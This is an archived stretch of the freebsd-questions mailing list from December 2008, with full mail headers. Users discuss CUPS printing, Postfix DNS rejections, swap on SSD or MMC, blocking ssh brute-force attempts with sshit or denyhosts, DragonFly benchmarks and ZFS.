Puchar wrote: > >This is why I can easily justify teaching my elders FreeBSD -- they > >unquestionably have more to learn, but they only learn it once, so the > >investment pays off. > but most people don't like to learn. even once. You need to begin speaking for yourself rather than that reluctant expert character called Most People. You seem to do quite well working out issues that you encounter in your work, but everytime you start quoting this Most People guy you seem to get lost in the weeds. Let Most People speak for himself and deal with his own problems. FreeBSD has done quite well and developed an excellent product when people applied themselves to create solutions for the problems they were actually having and allowed Most People to do the same with his issues. ////jerry > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 20:22:44 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9750F1065672 for ; Tue, 2 Dec 2008 20:22:44 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: from mail-qy0-f18.google.com (mail-qy0-f18.google.com [209.85.221.18]) by mx1.freebsd.org (Postfix) with ESMTP id 4DD908FC0A for ; Tue, 2 Dec 2008 20:22:44 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: by qyk11 with SMTP id 11so3731714qyk.19 for ; Tue, 02 Dec 2008 12:22:43 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:subject:content-type :content-transfer-encoding; bh=WUxq8LxkRm7hwiWA5PGB76vsjAhYnt8qisZNbbeoS1s=; b=URAIBgLP+dw7zvl1OmbRe4dS9BNsGXyPE8p2aIoxfW/lUb/Jy94Db5VFeQPomlOzpy Tyev6RbFwPoGcCeuoScQuhUUVDpspQiF/HXaLJ/QgQSEjr1ephQT5985thh+DUM8rSKq Jk/iXcZ799rCw6jrXgUPyyk9RfJG01HVS+/bI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; b=xJMnNZmpT3fO9XvstDuwNK6okT9LFU+oQN0Re4uV5QOcJfHGTKdfpzv3cmW3zWAmZ6 8Qd6oKSLL+gLjR4pmnA/+w2SXqt3Q4Sp0mwh6g1Hl0WKyYHxy3UlXaAfh8qsRozejRED FmE4ZtZ6sv/RgQFKe/qwdoFMlOtB7NxCU5QEs= Received: by 10.214.43.17 with SMTP id q17mr12187570qaq.58.1228249363354; Tue, 02 Dec 2008 12:22:43 -0800 (PST) Received: from ?192.168.1.148? (adsl-074-245-053-043.sip.jax.bellsouth.net [74.245.53.43]) by mx.google.com with ESMTPS id 9sm3257117ywf.6.2008.12.02.12.22.42 (version=TLSv1/SSLv3 cipher=RC4-MD5); Tue, 02 Dec 2008 12:22:42 -0800 (PST) Message-ID: <49359911.6000200@gmail.com> Date: Tue, 02 Dec 2008 15:22:41 -0500 From: michael User-Agent: Thunderbird 2.0.0.17 (X11/20080925) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: cups from latest portsnap and CURRENT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 20:22:44 -0000 is there a magic foo i need to make it work? sees my printer, says its printing, finishes job, and yet.. no paper. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 20:30:17 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8C5511065670 for ; Tue, 2 Dec 2008 20:30:17 +0000 (UTC) (envelope-from info@ebbehjorth.dk) Received: from mail01.apz.dk (mail01.apz.dk [86.58.167.132]) by mx1.freebsd.org (Postfix) with ESMTP id 4A0B58FC08 for ; Tue, 2 Dec 2008 20:30:16 +0000 (UTC) (envelope-from info@ebbehjorth.dk) Received: from localhost (localhost [127.0.0.1]) by mail01.apz.dk (Postfix) with ESMTP id E3EC91CCF0 for ; Tue, 2 Dec 2008 08:30:44 +0100 (CET) X-Virus-Scanned: amavisd-new at apz.dk Received: from mail01.apz.dk ([127.0.0.1]) by localhost (mail01.apz.dk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id s09VkuNTbFRH for ; Tue, 2 Dec 2008 08:30:42 +0100 (CET) Received: by mail01.apz.dk (Postfix, from userid 58) id B63681CCD3; Tue, 2 Dec 2008 08:30:42 +0100 (CET) X-Spam-SCL: 1 X-Spam-DCC: debian mail01.apz.dk 1169; Body=1 Fuz1=1 Fuz2=1 Received: from 86.58.167.132 (localhost [127.0.0.1]) by mail01.apz.dk (Postfix) with ESMTP id ECDB91CC17 for ; Tue, 2 Dec 2008 08:30:40 +0100 (CET) Received: from 77.215.69.128 (SquirrelMail authenticated user info@ebbehjorth.dk) by 86.58.167.132 with HTTP; Tue, 2 Dec 2008 08:30:40 +0100 (CET) Message-ID: <88ddca1954c47570bcc42e110f9a40a9.squirrel@86.58.167.132> Date: Tue, 2 Dec 2008 08:30:40 +0100 (CET) From: "Ebbe Hjorth" To: freebsd-questions@freebsd.org User-Agent: SquirrelMail/1.4.16 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Subject: mx1.freebsd.org X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: info@ebbehjorth.dk List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 20:30:17 -0000 Hi, My postfix mail servers shows to messages in the queue saying (host mx1.FreeBSD.org[69.147.83.52] said: 450 4.7.1 Client host rejected: cannot find your hostname, [86.58.167.132] (in reply to RCPT TO command)) But when i do a lookup or a reverse lookup, i find my hostname. Does mx1.freebsd.org have an old dns? / Ebbe From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 20:47:35 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9B6BA1065670 for ; Tue, 2 Dec 2008 20:47:35 +0000 (UTC) (envelope-from anthony.rasat@gmail.com) Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.171]) by mx1.freebsd.org (Postfix) with ESMTP id 270F88FC16 for ; Tue, 2 Dec 2008 20:47:34 +0000 (UTC) (envelope-from anthony.rasat@gmail.com) Received: by ug-out-1314.google.com with SMTP id 30so3053470ugs.39 for ; Tue, 02 Dec 2008 12:47:34 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:x-rim-org-msg-ref-id :return-receipt-to:message-id:content-transfer-encoding:reply-to :x-priority:sensitivity:importance:to:subject:from:date:content-type :mime-version; bh=ITkDKAqPeIdtYL9BX/MbXcr3LQ29OQfPKDkT035S7k8=; b=HxqgWVKPvPx1vX1fhEOddDZBsoL/c6BSItmBwIbwYT1KRX3YyCQPBY9MV4KW2t3r5N mmaUDkHXjsxGSJpotsir6nHVj8J1T70Lt8MF1ugX/bOin+2P07944GOpirs6pmRPOhNJ MaePUsxc7iNZ9TqUm2ubeJ0q1gi+Nz3m1HyN0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=x-rim-org-msg-ref-id:return-receipt-to:message-id :content-transfer-encoding:reply-to:x-priority:sensitivity :importance:to:subject:from:date:content-type:mime-version; b=rw1XhM6/3SZryv5Dg5tDSykA/sCDjxpKtgxzcxAqf2DwbG7hqG3T95hjNgNr0AD5Id 2lv7TJqiJLpSQXy5McPnyqGnhTLPdmShcuUz5nyjauvXO8B1lmeMLtRJx4MavfUMXtjP 8kcjkaG6HVTOKIW9tkf180StxVnIsE8A0GcKs= Received: by 10.103.11.5 with SMTP id o5mr5545059mui.132.1228250853800; Tue, 02 Dec 2008 12:47:33 -0800 (PST) Received: from bda011.bisx.prodap.on.blackberry (bda011.bis.ap.blackberry.com [216.9.247.139]) by mx.google.com with ESMTPS id 23sm12349254mum.38.2008.12.02.12.47.32 (version=SSLv3 cipher=RC4-MD5); Tue, 02 Dec 2008 12:47:33 -0800 (PST) X-rim-org-msg-ref-id: 189164649 Message-ID: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> Content-Transfer-Encoding: base64 X-Priority: Normal Sensitivity: Normal Importance: Normal To: freebsd-questions@freebsd.org From: "Anthony M. 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(adsl-074-245-053-043.sip.jax.bellsouth.net [74.245.53.43]) by mx.google.com with ESMTPS id 7sm1341885ywo.12.2008.12.02.12.52.19 (version=TLSv1/SSLv3 cipher=RC4-MD5); Tue, 02 Dec 2008 12:52:20 -0800 (PST) Message-ID: <4935A003.9050508@gmail.com> Date: Tue, 02 Dec 2008 15:52:19 -0500 From: michael User-Agent: Thunderbird 2.0.0.17 (X11/20080925) MIME-Version: 1.0 To: anthony.rasat@gmail.com References: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> In-Reply-To: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: Swapping to MMC (Was: To swap or not to swap) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 20:52:22 -0000 Anthony M. Rasat wrote: >>>> The rule of thumb is 2.2 times memory size. >>>> >>> why not 2.17? >>> >> Sounds good to me. Takes one more character to type... >> and both 2.2 and 2.17 is nonsense. >> >> the only rule is use as much as needed >> > > It's fun watching you fellas argue about 0.03 thing. > > I put in your opinions in kinda pros or cons to swap in Asus Eee PC like following: > > Pros: 1) System requires swap. Period. 2) Swap may need size in range between 2.17 times to 2.22 time or whatever size it need. This is not prohibited by Eee's SSD size (4GB btw, 701 series). > > Cons: 1) Since SSD is manufactured have limited lifetime (around 100,000 times write operation or so, I read it somewhere), swapping to SSD is more likely not a wise thing to do. > > Two against one. I concurr that swap is needed. However since SSD in 701 series is not removable, having a bad sector in SSD is one thing you don't want to have. > > So the questions are, because Asus Eee have MMC reader built in, is it wise to swap to MMC? Since MMC is presumably slower on write operation than SSD, isn't it become bottleneck for system performances? And what happened if FreeBSD kernel suddenly lose its swap file by absent-minded human? Is it going to be just angry or having massive heart attack? > > I might as well change the subject. There. > FYI I asked those questions because I don't have any MMC to play with. > In here 1GB MMC is about USD 5 or so. Not exactly expensive but it's late, I have to continue playing FreeBSD in Eee tommorrow. > > Thanks again for your opinions. > i have a very small machine with ssd drive, the write issue is pretty much null on the very newest ones.. but that is neither here nor there. i'm using a high speed sd card for my swap and a couple other things, there is not drop in performance with, in fact, its reads /writes are faster than my hd. > > ------------------------------------------------------------------------ > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 20:53:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CAF9C1065673 for ; Tue, 2 Dec 2008 20:53:34 +0000 (UTC) (envelope-from beech@freebsd.org) Received: from bsdevel.alaskaparadise.com (bsdevel.alaskaparadise.com [208.86.224.193]) by mx1.freebsd.org (Postfix) with ESMTP id A57CC8FC13 for ; Tue, 2 Dec 2008 20:53:34 +0000 (UTC) (envelope-from beech@freebsd.org) Received: from stargate.alaskaparadise.com (172-67-237-24.gci.net [24.237.67.172]) by bsdevel.alaskaparadise.com (Postfix) with ESMTP id 283BA28E289B; Tue, 2 Dec 2008 20:53:34 +0000 (UTC) From: Beech Rintoul Organization: FreeBSD To: freebsd-questions@freebsd.org Date: Tue, 2 Dec 2008 11:53:33 -0900 User-Agent: KMail/1.10.1 (FreeBSD/8.0-CURRENT; KDE/4.1.1; i386; ; ) References: <49354C7C.9611.68C7120@d.forsyth.ru.ac.za> <20081202085427.ed5634d0.wmoran@potentialtech.com> In-Reply-To: <20081202085427.ed5634d0.wmoran@potentialtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812021153.33518.beech@freebsd.org> Cc: d.forsyth@ru.ac.za, Bill Moran Subject: Re: sshit runs out of semaphores X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 20:53:34 -0000 On Tuesday 02 December 2008 04:54:27 Bill Moran wrote: > In response to "DA Forsyth" : > > Hiya > > > > I recently started (trying) to use sshit to filter the many brute > > force sshd attacks. > > > > However, it has never worked on my box. FreeBSD 7.0 p1. > > > > This morning it would only give a message (without exiting) > > Could not create semaphore set: No space left on device > > at /usr/local/sbin/sshit line 322 > > Every time it gets stopped by CTRL-C it leaves the shared memory > > behind, allocated. > > Have a look at ipcs and ipcrm, which will save you the reboots. > > > A side issue is that sshit will only filter rapid fire attacks, but I > > am also seeing 'slow fire' attacks, where an IP is repeated every 2 > > or 3 hours, but there seem to be a network of attackers because the > > name sequence is kept up across many incoming IP's. Is there any > > script for countering these attacks? > > If not I'll write one I think. > > My approach: > http://www.potentialtech.com/cms/node/16 I use denyhosts which adds the IP to a file called hosts_deny.ssh. It will keep the IP for however many days you set it for so a repeat even hours later will just get bounced. -- --------------------------------------------------------------------------------------- Beech Rintoul - FreeBSD Developer - beech@FreeBSD.org /"\ ASCII Ribbon Campaign | FreeBSD Since 4.x \ / - NO HTML/RTF in e-mail | http://people.freebsd.org/~beech X - NO Word docs in e-mail | Skype: akbeech / \ - http://www.FreeBSD.org/releases/7.0R/announce.html --------------------------------------------------------------------------------------- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 21:10:52 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 64F521065672 for ; Tue, 2 Dec 2008 21:10:52 +0000 (UTC) (envelope-from dan-freebsd-questions@ourbrains.org) Received: from ourbrains.org (li48-221.members.linode.com [66.246.76.221]) by mx1.freebsd.org (Postfix) with SMTP id F1EC58FC12 for ; Tue, 2 Dec 2008 21:10:51 +0000 (UTC) (envelope-from dan-freebsd-questions@ourbrains.org) Received: (qmail 20826 invoked by uid 1000); 2 Dec 2008 21:11:13 -0000 Date: Tue, 2 Dec 2008 16:11:13 -0500 From: Dan To: freebsd-questions@freebsd.org Message-ID: <20081202211113.GA19886@ourbrains.org> Mail-Followup-To: freebsd-questions@freebsd.org References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> <20081202170805.GA20420@ourbrains.org> <20081202190351.Q16084@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable In-Reply-To: User-Agent: Mutt/1.5.18 (2008-05-17) Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 21:10:52 -0000 Ivan Voras(ivoras@freebsd.org)@2008.12.02 20:00:46 +0100: > Wojciech Puchar wrote: > >> > >> It's already usable on DragonFly. DragonFLY itself is stable, but only > >> supports one CPUIt probably will never be ported to FreeBSD due to > >> API differences. > >=20 > > time to wait and see if they will really make dragonfly faster than > > FreeBSD (it's their goal)... >=20 > http://people.freebsd.org/~kris/scaling/dfly.html >=20 > Good luck to them, they need it :) >=20 That's a stupid benchmark. DragonFly doesn't have SMP support yet. As already mentioned, they don't have SMP yet. Scalable SMP is the ultimate goal though, and once they get rid of giant lock,=20 the SMP won't take that long. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 21:14:07 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 191CB106564A for ; Tue, 2 Dec 2008 21:14:07 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id BE02C8FC0C for ; Tue, 2 Dec 2008 21:14:04 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2LDmMj016812; Tue, 2 Dec 2008 22:13:48 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2LDmY2016809; Tue, 2 Dec 2008 22:13:48 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 22:13:48 +0100 (CET) From: Wojciech Puchar To: "Anthony M. Rasat" In-Reply-To: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> Message-ID: <20081202220948.T16797@wojtek.tensor.gdynia.pl> References: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Swapping to MMC (Was: To swap or not to swap) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 21:14:07 -0000 > > I put in your opinions in kinda pros or cons to swap in Asus Eee PC like following: > > Pros: 1) System requires swap. Period. it doesn't. > Cons: 1) Since SSD is manufactured have limited lifetime (around 100,000 10000 for MLC flash it uses. after every rewrite flash gets less reliable and keeps data for shorter time. new flash chip guarrantes 10 years data persistency using standard error correction, after 9000 rewrites it's about 1 year etc. and: SSD "disks" emulates disks instead of using flash-designed filesystem. they do LOTS of extra writes for "worn up management", mapping tables. you can safely assume 2 times more data written in reality than requested. assuming 4GB flash, 10000*4GB/2=20TB of writes and flash is dead. not that much with swapping IO ranged in megabytes/s From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 21:15:06 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3F3AA1065677 for ; Tue, 2 Dec 2008 21:15:06 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id AF55C8FC12 for ; Tue, 2 Dec 2008 21:15:04 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2LEtjt016825; Tue, 2 Dec 2008 22:14:55 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2LEtLA016822; Tue, 2 Dec 2008 22:14:55 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 22:14:55 +0100 (CET) From: Wojciech Puchar To: Dan In-Reply-To: <20081202211113.GA19886@ourbrains.org> Message-ID: <20081202221411.W16797@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> <20081202170805.GA20420@ourbrains.org> <20081202190351.Q16084@wojtek.tensor.gdynia.pl> <20081202211113.GA19886@ourbrains.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 21:15:06 -0000 >> > > That's a stupid benchmark. DragonFly doesn't have SMP support yet. my "benchmark" is to start it install programs i use commonly and compare it to other system. on single-core machine i tested FreeBSD is faster. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 21:27:04 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 08242106564A for ; Tue, 2 Dec 2008 21:27:04 +0000 (UTC) (envelope-from dan-freebsd-questions@ourbrains.org) Received: from ourbrains.org (li48-221.members.linode.com [66.246.76.221]) by mx1.freebsd.org (Postfix) with SMTP id 9657D8FC12 for ; Tue, 2 Dec 2008 21:27:03 +0000 (UTC) (envelope-from dan-freebsd-questions@ourbrains.org) Received: (qmail 20893 invoked by uid 1000); 2 Dec 2008 21:27:24 -0000 Date: Tue, 2 Dec 2008 16:27:24 -0500 From: Dan To: freebsd-questions@freebsd.org Message-ID: <20081202212724.GB19886@ourbrains.org> Mail-Followup-To: freebsd-questions@freebsd.org References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.18 (2008-05-17) Subject: Re: Best Journaling File System - ZFS/??? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 21:27:04 -0000 Don O'Neil(lists@lizardhill.com)@2008.12.02 08:57:58 -0800: > With all the discussions of ZFS lately, I'm beginning to wonder if it's > really ready for a production environment. Concerns over memory utilization, > speed, stability, etc... >From everything I've read people use it in production successfully, but not without some tweaking or testing. That said, I would love to see XFS ported. IIRC you can't resize gvinum volumes on the fly either, if that's the case, that would also be a nice feature. On Linux I can resize LVM volumes, and then resize a live XFS without having to unmount it. Takes seconds. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 21:36:11 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5AF811065687 for ; Tue, 2 Dec 2008 21:36:11 +0000 (UTC) (envelope-from pgiessel@mac.com) Received: from smtpoutw.mac.com (smtpoutw.mac.com [17.250.248.178]) by mx1.freebsd.org (Postfix) with ESMTP id 486C88FC13 for ; Tue, 2 Dec 2008 21:36:11 +0000 (UTC) (envelope-from pgiessel@mac.com) Received: from webmail060 (webmail060-s [10.13.128.60]) by smtpoutw.mac.com (Xserve/smtpoutw003/MantshX 4.0) with ESMTP id mB2LMAfZ025438; Tue, 2 Dec 2008 13:22:10 -0800 (PST) Date: Tue, 02 Dec 2008 12:22:09 -0900 From: Peter Giessel To: Dan Message-ID: <46703346351880256269680332892534375073-Webmail@me.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Originating-IP: 69.178.5.90, 72.246.51.110 Received: from [69.178.5.90] from webmail.me.com with HTTP; Tue, 02 Dec 2008 12:22:09 -0900 Received: from [ 72.246.51.110] from webmail.me.com with HTTP; Tue, 02 Dec 2008 12:22:09 -0900 Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 21:36:11 -0000 >> > time to wait and see if they will really make dragonfly faster than >> > FreeBSD (it's their goal)... >> >> http://people.freebsd.org/~kris/scaling/dfly.html >> >> Good luck to them, they need it :) >> > >That's a stupid benchmark. DragonFly doesn't have SMP support yet. So? Look at just the UP scores then. From the above page: "UP performance on FreeBSD 7 is 2.6 times higher than dragonfly UP performance and 1.8 times higher than freebsd 4 UP performance." Please explain how DragonFly's lack of SMP affects the UP performance? Also, from an end user perspective, you can hardly get a computer these days that only has one core. SMP performance is very relevant from that perspective. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 21:37:55 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E57ED10656F2 for ; Tue, 2 Dec 2008 21:37:55 +0000 (UTC) (envelope-from Albert.Shih@obspm.fr) Received: from blade2-ext.obspm.fr (blade2-ext.obspm.fr [145.238.186.8]) by mx1.freebsd.org (Postfix) with ESMTP id 812158FC08 for ; Tue, 2 Dec 2008 21:37:55 +0000 (UTC) (envelope-from Albert.Shih@obspm.fr) Received: from obspm.fr (pcjas.obspm.fr [145.238.184.233]) by blade2-ext.obspm.fr (8.13.8/8.13.8/SIO Observatoire de Paris - 15/11/07) with ESMTP id mB2LboEZ019450 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 2 Dec 2008 22:37:53 +0100 Date: Tue, 2 Dec 2008 22:37:50 +0100 From: Albert Shih To: Kirk Strauser Message-ID: <20081202213750.GA58666@obspm.fr> References: <200812010959.15647.kirk@strauser.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <200812010959.15647.kirk@strauser.com> User-Agent: Mutt/1.5.18 (2008-05-17) X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (blade2-ext.obspm.fr [145.238.186.20]); Tue, 02 Dec 2008 22:37:53 +0100 (CET) X-Virus-Scanned: ClamAV 0.94.1/8713/Tue Dec 2 20:59:31 2008 on blade2-ext.obspm.fr X-Virus-Status: Clean Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Albert.Shih@obspm.fr List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 21:37:56 -0000 Le 01/12/2008 à 09:59:15-0600, Kirk Strauser a écrit > I have ZFS on my 7.1-PRERELEASE system, and while it does some spiffy things, > in general I'm a bit underwhelmed. > > PROS: > > Adding new filesystems on a whim is really nice. > > It has a lot of really cool other features that I will probably never need. > > CONS: > > I have nearly 3GB of wired RAM, but it doesn't seem to be all that fast. > For example, starting an Amanda backup on a UFS2 filesystem would get through > the "estimate" phase almost instantly on a system that had been up for several > days because of cached filesystem data. On ZFS, it still limps along even if I > just finished the last backup a few minutes earlier. > > Other than saying "I'm using ZFS", I don't seem to have much to show for it. > > WTF: > > "Raidz and top-level vdevs cannot be removed from a pool." > > > At this point, I'm almost ready to go back to good ol' UFS2, but I'd hate to > give up that easy addition of new filesystems. I *could* have a single 700GB > root FS but that just doesn't seem right. Are there any good, tested GEOM- > based ways of getting that functionality, perhaps along the lines of using > something like gvirstor and growfs as needed? Maybe my message is little in the wrong mailing-list.... I'm have choosing ZFS....under Solaris because for some special purpose I need a big space (~30To). So I've two Sun X4500 with Solaris x86-64 After one year I can say ZFS is fantastic file system for (IMHO) those reason : Don't have fsck (for 30To is very very useful) Snapshots is instantly make. You can put any number files in on directory (of course depend you context but it's useful for me) Very very rock solid. For the last item, I can say that because they are «big» bug in the kernel of Solaris when I start to using it. The effect is the server ... reboot when it's heavy load on SATA controller. So I've many reboot (~30) in very short time. Event that I never lost any bits of information on my FS. To come back to FreeBSD, I'm using FreeBSD since > 10 years, UFS is very slow, and when UFS2 is release I'm very happy to switch to UFS2. Now FreeBSD have ZFS, and I'm using it in....my scracth because I don't really need ZFS on my server when they are ~ 100-1024Go disk. I'm using ZFS only on my personnal computer (more because to make test and send bug reports than because I'm really use ZFS) Of course when ZFS is fully 